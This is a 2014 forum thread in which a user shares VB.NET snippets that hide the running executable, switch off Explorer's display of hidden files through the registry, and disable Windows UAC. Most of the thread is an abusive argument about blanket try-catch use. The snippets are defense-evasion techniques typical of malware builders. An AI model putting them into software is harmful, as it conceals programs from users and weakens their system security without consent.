Nov 9, 2014 11:47 AM
(This post was last modified: Nov 9, 2014 11:48 AM by imi-tat0r.)
Just some random code snippets I found on my Harddrive
Hide a file:
Code Sub Hide()
Try
System.IO.File.SetAttributes(System.Diagnostics.Process.GetCurrentProcess.MainModule.FileName, System.IO.File.GetAttributes(System.Diagnostics.Process.GetCurrentProcess.MainModule.FileName) Or System.IO.FileAttributes.Hidden)
Catch : End Try
End Sub
Disable "Show hidden files":
Code Sub HiddenFiles()
Try
Microsoft.Win32.Registry.CurrentUser.OpenSubKey("Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced", True).SetValue("Hidden", "0", Microsoft.Win32.RegistryValueKind.DWord)
Catch : End Try
End Sub
And yes I am using "System.Diagnostics.Process.GetCurrentProcess.MainModule.FileName" because this was meant for a codedom compiler so please don't state it out that you also could use other ways to get the Filename...
Disable UAC (needs a restart after changing):
Code Sub DisableUAC()
Try
Microsoft.Win32.Registry.LocalMachine.OpenSubKey("Software\Microsoft\Windows\CurrentVersion\Policies\System", True).SetValue("EnableLUA", 0)
Catch : End Try
End Sub
You shouldn't wrap your whole code (especially on releases) with Try Catch.
Thw reason i'm saying this, is because the first block it could never throw an error.
It's nice to know the second block of code, tho i never searched for it or needed it, seems kinda useful to know such things are so easy to change.
(Nov 9, 2014 02:25 PM)He B TeMy Wrote: You shouldn't wrap your whole code (especially on releases) with Try Catch.
Thw reason i'm saying this, is because the first block it could never throw an error.
It's nice to know the second block of code, tho i never searched for it or needed it, seems kinda useful to know such things are so easy to change.
Well I wasn't to sure about the code being able to fail. And I guess it is just some bad stuff I took from VB6 :D
When I first started VB6 I always used "On Error Resume Next" which is even worse than a "useless" try-catch.
So yeah actually I am only using try-catch to prevent any errors regardless if they can/will appear or not.
But I think I will think twice before using try-catch in the future
(Nov 9, 2014 03:59 PM)imi-tat0r Wrote: Well I wasn't to sure about the code being able to fail.
you can always check msdn, in this case http://msdn.microsoft.com/en-us/library/...10%29.aspx
(Nov 9, 2014 03:59 PM)imi-tat0r Wrote: So yeah actually I am only using try-catch to prevent any errors regardless if they can/will appear or not.
That doesn't quite make sense, if they can't appear, why use Try Catch then? There isn't any random error that might me thrown just because the framework doesn't give a fuck anymore-.. lol.
(Nov 9, 2014 04:04 PM)He B TeMy Wrote: That doesn't quite make sense, if they can't appear, why use Try Catch then? There isn't any random error that might me thrown just because the framework doesn't give a fuck anymore-.. lol.
I just wanted to say that I didn't check MSDN and didn't know if it could throw an error or not. So I just used try-catch :D
I'm a bit tired (hard to express what I want to express)
(Nov 9, 2014 04:43 PM)imi-tat0r Wrote: I just wanted to say that I didn't check MSDN and didn't know if it could throw an error or not. So I just used try-catch :D
I'm a bit tired (hard to express what I want to express)
that's also totally fine, you should use try catch whereever you can so you won't mess up the Windows Event Logs with unhandled errors.
(Nov 9, 2014 10:57 PM)Menalix Wrote: that's also totally fine, you should use try catch whereever you can so you won't mess up the Windows Event Logs with unhandled errors.
Wtf? Is that saying: "You should wrap your .exe with Try Catch?
After reading your usertitle, i giggled.
Nov 10, 2014 09:32 AM
(This post was last modified: Nov 10, 2014 09:33 AM by imi-tat0r.)
(Nov 10, 2014 09:30 AM)He B TeMy Wrote: Wtf? Is that saying: "You should wrap your .exe with Try Catch?
After reading your usertitle, i giggled.
Better safe than sorry my friend :)
And trust me Menalix knows his stuff.
Hexui is the best proof ;)
(Nov 10, 2014 09:32 AM)imi-tat0r Wrote: Better safe than sorry my friend :)
And trust me Menalix knows his stuff.
Hexui is the best proof ;)
Are you fucking stupid? Or you just can't code at all?
Why the fuck there would be an error thrown in a code that isn't supposed to throw any?
That's bad design, bad practice, bad programming in general, if you want to do error handling, that's fine, not fucking handle every shit that gets thrown, what happens if an "OutOfMemoryException" is thrown and you blindly catch it in your magic catch blocks?
Then your stuck debugging your crappy application and trying to reproduce it, which you would fail and waste your time.
(Nov 10, 2014 09:38 AM)He B TeMy Wrote: Are you fucking stupid? Or you just can't code at all?
Why the fuck there would be an error thrown in a code that isn't supposed to throw any?
That's bad design, bad practice, bad programming in general, if you want to do error handling, that's fine, not fucking handle every shit that gets thrown, what happens if an "OutOfMemoryException" is thrown and you blindly catch it in your magic catch blocks?
Then your stuck debugging your crappy application and trying to reproduce it, which you would fail and waste your time.
Messagebox.Show(ex.toString)
Easy as that... But I can see that all you are doing is referring to a useless try-catch in a code instead of just ignoring it.
You need some attention? ok get some but what is your problem with that?
You do not have to use or purchase any code or Program from Menalix or me so go ahead and mind your own business
Lol, you didn't even replied to anything i said, you got no answer, why quote?
The talk of one who doesn't understand shit.
And by the way, what does Messagebox.Show(ex.ToString) have anything to do with anything?
On release mode, when your program gets finally used, you ask the costumer, what was the error thrown ? And he would say, i can't remember, then what do you do?
This is a forum, not a chat, i don't give a fuck how you code, i only care of the people that might see this and follow your example.
(Nov 10, 2014 09:38 AM)He B TeMy Wrote: Are you fucking stupid? Or you just can't code at all?
Why the fuck there would be an error thrown in a code that isn't supposed to throw any?
That's bad design, bad practice, bad programming in general, if you want to do error handling, that's fine, not fucking handle every shit that gets thrown, what happens if an "OutOfMemoryException" is thrown and you blindly catch it in your magic catch blocks?
Then your stuck debugging your crappy application and trying to reproduce it, which you would fail and waste your time.
Of course you shouldn't use Try Catch on stuff which can't throw an error, but where it can there should, and its not always you have time to check up on MSDN to see if it does return a error or not.
It's better practise to have the code filled with Try Catch'es even some are placed cluesless, than not having a single one
(Nov 9, 2014 11:47 AM)imi-tat0r Wrote: And yes I am using "System.Diagnostics.Process.GetCurrentProcess.MainModule.FileName" because this was meant for a codedom compiler so please don't state it out that you also could use other ways to get the Filename... cough cough
Code Imports System
Imports System.Diagnostics
Peace 🤝
Just a little correction: The following is the correct code for to disable "view hidden files"
Code Try
Dim SystemRegistry As Microsoft.Win32.RegistryKey = Microsoft.Win32.Registry.CurrentUser
Dim SystemRegistryNext As Microsoft.Win32.RegistryKey = SystemRegistry.OpenSubKey("Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced", True)
SystemRegistryNext.SetValue("Hidden", 2)
SystemRegistryNext.Close()
Catch
End Try
(Nov 10, 2014 06:21 PM)Menalix Wrote: It's better practise to have the code filled with Try Catch'es even some are placed cluesless, than not having a single one
Oh it is? I'm sorry, i'll ask for your opinion next time i open VS.
|